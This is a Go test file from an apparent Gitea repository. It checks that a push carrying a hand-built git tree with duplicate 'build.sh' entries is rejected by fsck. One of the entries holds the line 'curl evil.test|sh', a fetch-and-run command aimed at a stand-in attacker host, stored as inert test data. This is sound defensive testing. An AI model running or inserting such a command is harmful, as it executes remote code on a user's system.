Files
gitea-MIRROR/modules/git/receive_fsck_test.go
wxiaoguang 772f365254 refactor: use RunWithStderr for git commands (#40295)
If the stderr output is not handled, then it needs to use RunWithStderr
to make sure the git error message is included in the returned error.
Otherwise, when the git command fails, the error log won't show useful
information.

Ref:

* #39795 : no useful information in log messages
*
https://github.com/go-gitea/gitea/pull/40160#pullrequestreview-5752720866
2026-11-09 17:59:52 +00:00

62 lines
2.6 KiB
Go

// Copyright 2026 The Gitea Authors. All rights reserved.
// SPDX-License-Identifier: MIT
package git
import (
"encoding/hex"
"path/filepath"
"strings"
"testing"
"gitea.dev/modules/git/gitcmd"
"github.com/stretchr/testify/require"
)
// rawTreeWithDuplicateEntries builds a tree object (in git's on-disk format) that
// contains two entries with the same file name, which git fsck flags as the
// "duplicateEntries" error. Standard git plumbing (git mktree, index writes) refuses
// to build such a tree, so the bytes are assembled by hand.
func rawTreeWithDuplicateEntries(t *testing.T, name, blobID1Hex, blobID2Hex string) []byte {
t.Helper()
entry := func(mode, name, blobIDHex string) []byte {
rawID, err := hex.DecodeString(blobIDHex)
require.NoError(t, err)
out := []byte(mode + " " + name + "\x00")
return append(out, rawID...)
}
return append(entry("100644", name, blobID1Hex), entry("100644", name, blobID2Hex)...)
}
func TestReceivePushRejectsDuplicateTreeEntries(t *testing.T) {
ctx := t.Context()
sourceDir := filepath.Join(t.TempDir(), "source.git")
require.NoError(t, gitcmd.NewCommand("init", "--bare").AddDynamicArguments(sourceDir).RunWithStderr(ctx))
targetDir := filepath.Join(t.TempDir(), "target.git")
require.NoError(t, gitcmd.NewCommand("init", "--bare").AddDynamicArguments(targetDir).RunWithStderr(ctx))
hashBlob := func(content string) string {
stdout, _, err := gitcmd.NewCommand("hash-object", "-w", "--stdin").WithDir(sourceDir).WithStdinBytes([]byte(content)).RunStdString(ctx)
require.NoError(t, err)
return strings.TrimSpace(stdout)
}
benignBlobID := hashBlob("echo BENIGN\n")
evilBlobID := hashBlob("curl evil.test|sh\n")
rawTree := rawTreeWithDuplicateEntries(t, "build.sh", benignBlobID, evilBlobID)
treeID, _, err := gitcmd.NewCommand("hash-object", "-t", "tree", "-w", "--stdin", "--literally").WithDir(sourceDir).WithStdinBytes(rawTree).RunStdString(ctx)
require.NoError(t, err)
treeID = strings.TrimSpace(treeID)
commitID, _, err := gitcmd.NewCommand("commit-tree").AddDynamicArguments(treeID).AddOptionValues("-m", "add build.sh").WithDir(sourceDir).RunStdString(ctx)
require.NoError(t, err)
commitID = strings.TrimSpace(commitID)
require.NoError(t, gitcmd.NewCommand("update-ref", "refs/heads/atk").AddDynamicArguments(commitID).WithDir(sourceDir).RunWithStderr(ctx))
_, _, err = gitcmd.NewCommand("push").AddDynamicArguments(targetDir, "refs/heads/atk:refs/heads/atk").WithDir(sourceDir).RunStdString(ctx)
require.Error(t, err, "push of a commit with duplicate tree entries must be rejected by the receiving repository's fsck")
}